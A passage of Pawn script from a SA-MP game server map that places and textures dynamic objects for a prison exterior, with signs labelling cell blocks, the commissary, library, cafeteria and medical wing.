	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1031.380859, -750.687866, 43.279682, 0.000037, 180.000000, 179.999450, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19399, -1031.052124, -748.396362, 43.278446, 0.000022, 0.000037, 89.999519, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.060302, -751.434204, 43.279075, -0.000037, -0.000045, -90.000503, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2949, -1031.276367, -751.382446, 41.518398, 0.000029, -0.000022, 179.999481, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1032.571533, -750.687866, 43.279682, 0.000037, 180.000000, 179.999450, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1031.861694, -749.967529, 43.279682, -0.000014, 180.000000, -90.000534, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1032.571533, -749.106689, 43.279682, 0.000037, 180.000000, 179.999450, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(970, -1029.934814, -746.599121, 42.086688, -0.000029, 0.000022, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1032.175781, -746.599121, 42.086688, -0.000029, 0.000022, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1029.934814, -753.259765, 42.086688, -0.000029, 0.000029, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1032.175781, -753.259765, 42.086688, -0.000029, 0.000029, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1027.864379, -748.808959, 42.086688, 0.000029, 0.000045, 89.999488, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1027.864379, -751.049926, 42.086688, 0.000029, 0.000045, 89.999488, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1034.240356, -748.808959, 42.086688, 0.000029, 0.000045, 89.999488, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1034.240356, -751.049926, 42.086688, 0.000029, 0.000045, 89.999488, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.052734, -749.924438, 44.998020, 0.000045, 90.000030, 89.999473, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1031.068969, -752.476196, 44.997623, -0.000029, 90.000030, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1031.068969, -747.372436, 44.997623, -0.000029, 90.000030, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1028.645263, -748.320434, 44.995624, 0.000029, 90.000030, 89.999519, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1028.645263, -751.528320, 44.999622, 0.000029, 90.000030, 89.999519, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1033.461425, -748.320434, 44.995624, 0.000037, 90.000030, 89.999504, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1033.461425, -751.528320, 44.999622, 0.000037, 90.000030, 89.999504, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(2949, -1029.436645, -750.672241, 31.028371, 0.000029, -0.000022, 179.999481, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(8326, -1016.706298, -728.562133, 37.958110, 0.000000, 0.000000, -36.500019, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{A08F61}D BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -1000.172180, -712.235046, 37.918113, 0.000000, 0.000000, -36.500019, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}C BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -1000.206054, -712.247497, 37.958110, 0.000000, 0.000000, -36.500019, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{A08F61}C BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -1016.706298, -728.562133, 37.958110, 0.000000, 0.000000, -36.500019, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{A08F61}D BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -997.628173, -686.067687, 37.918113, -0.000003, 0.000006, 0.299961, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}B BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -997.647827, -686.097900, 37.958110, -0.000003, 0.000006, 0.299961, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{A08F61}B BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -997.628173, -663.158264, 37.918113, -0.000003, 0.000020, 0.299959, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}A BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -997.647827, -663.188476, 37.958110, -0.000003, 0.000020, 0.299959, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{A08F61}A BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(3264, -1081.453857, -654.050659, 30.670043, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2660, -1081.462768, -654.048645, 32.960079, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}COMMISSARY", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(8326, -1016.678527, -728.558105, 37.918113, 0.000000, 0.000000, -36.500019, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}D BLOCK", 40, "Ariel", 16, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1081.462768, -654.048645, 32.705085, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}CAFETERIA", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1081.462768, -654.048645, 32.460109, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LAUNDRY", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(3264, -1115.560913, -670.798278, 30.670043, 0.000000, -0.000007, -0.000060, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2660, -1115.552001, -670.800292, 32.960079, 0.000000, 0.000007, 179.999893, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LIBRARY", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1115.552001, -670.800292, 32.705085, 0.000000, 0.000007, 179.999893, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}PUBLIC HALLS", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1115.552001, -670.800292, 32.460109, 0.000000, 0.000007, 179.999893, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LEGAL ADVICE", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(3264, -1111.884887, -681.875122, 30.670043, 0.000000, -0.000007, -90.000099, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2660, -1111.886840, -681.883911, 32.960079, 0.000000, 0.000007, 89.999847, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LIBRARY", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1111.886840, -681.883911, 32.705085, 0.000000, 0.000007, 89.999847, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}PUBLIC HALLS", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1111.886840, -681.883911, 32.460109, 0.000000, 0.000007, 89.999847, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LEGAL ADVICE", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(3264, -1111.884887, -689.894714, 30.670043, -0.000007, -0.000007, -90.000076, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2660, -1111.886840, -689.903503, 32.960079, 0.000007, 0.000007, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LIBRARY", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1111.886840, -689.903503, 32.705085, 0.000007, 0.000007, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}PUBLIC HALLS", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1111.886840, -689.903503, 32.460109, 0.000007, 0.000007, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LEGAL ADVICE", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(3264, -1115.520874, -700.950256, 30.670043, -0.000014, -0.000007, 179.999816, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2660, -1115.529663, -700.948303, 32.960079, 0.000014, 0.000007, -0.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LIBRARY", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1115.529663, -700.948303, 32.705085, 0.000014, 0.000007, -0.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}PUBLIC HALLS", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(2660, -1115.529663, -700.948303, 32.460109, 0.000014, 0.000007, -0.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}LEGAL ADVICE", 50, "Ariel", 14, 1, 0x00000000, 0x00000000, 1);
	prisonextobj = CreateDynamicObjectEx(19329, -1051.751708, -645.326171, 33.160060, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}MEDICAL", 20, "Ariel", 18, 1, 0x00000000, 0x00000000, 0);
	prisonextobj = CreateDynamicObjectEx(19329, -1049.471435, -645.326171, 33.160060, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}WING", 20, "Ariel", 18, 1, 0x00000000, 0x00000000, 0);
	prisonextobj = CreateDynamicObjectEx(19329, -1051.741699, -645.327392, 33.170059, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{8C1313}MEDICAL", 20, "Ariel", 18, 1, 0x00000000, 0x00000000, 0);
	prisonextobj = CreateDynamicObjectEx(19329, -1047.502563, -644.066528, 33.560054, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{8C1313}+", 20, "Ariel", 46, 1, 0x00000000, 0x00000000, 0);
	prisonextobj = CreateDynamicObjectEx(19329, -1047.503540, -644.076538, 33.553054, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	SetDynamicObjectMaterialText(prisonextobj, 0, "{000000}+", 20, "Ariel", 46, 1, 0x00000000, 0x00000000, 0);
	prisonextobj = CreateDynamicObjectEx(3864, -1045.032714, -757.779296, 36.178123, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1037.312744, -757.679260, 36.178123, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1025.192504, -757.589172, 36.178123, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1016.872009, -757.489074, 36.178123, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1008.832214, -757.489074, 36.178123, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -743.239318, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -724.709106, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -710.348754, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -660.918823, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -641.608154, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -622.887634, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -1126.383911, -602.837524, 36.168125, 0.000000, 0.000000, 540.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19313, -1041.229614, -716.926086, 34.287586, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1048.250244, -723.885864, 34.287586, 0.000000, 0.000000, 450.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3819, -1118.436523, -639.129882, 31.988079, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3819, -1118.436523, -630.529479, 31.988079, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3819, -1101.425170, -614.188659, 31.988079, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3819, -1115.294921, -614.188659, 31.988079, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1014.822143, -696.228515, 31.028045, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1014.054016, -696.201110, 32.778045, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1015.570556, -691.283996, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1029.600952, -657.016357, 31.028045, 0.000007, 0.000014, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1029.628295, -656.248168, 32.778045, 0.000014, -0.000007, 179.999877, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1032.113403, -657.764770, 32.778038, 0.000007, 0.000014, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1078.020385, -671.237060, 31.028045, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1078.047729, -670.468872, 32.778045, 0.000014, -0.000014, 179.999832, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1082.964843, -671.985473, 32.778038, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1026.280151, -657.016357, 31.028045, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1026.307495, -656.248168, 32.778045, 0.000014, -0.000014, 179.999832, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1022.483459, -657.764770, 32.778038, 0.000007, 0.000014, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1015.570556, -681.653747, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1015.570556, -672.013610, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1015.570556, -662.473999, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1020.501037, -657.762817, 32.778038, 0.000007, 0.000014, 89.999946, 400.00, 400.00);
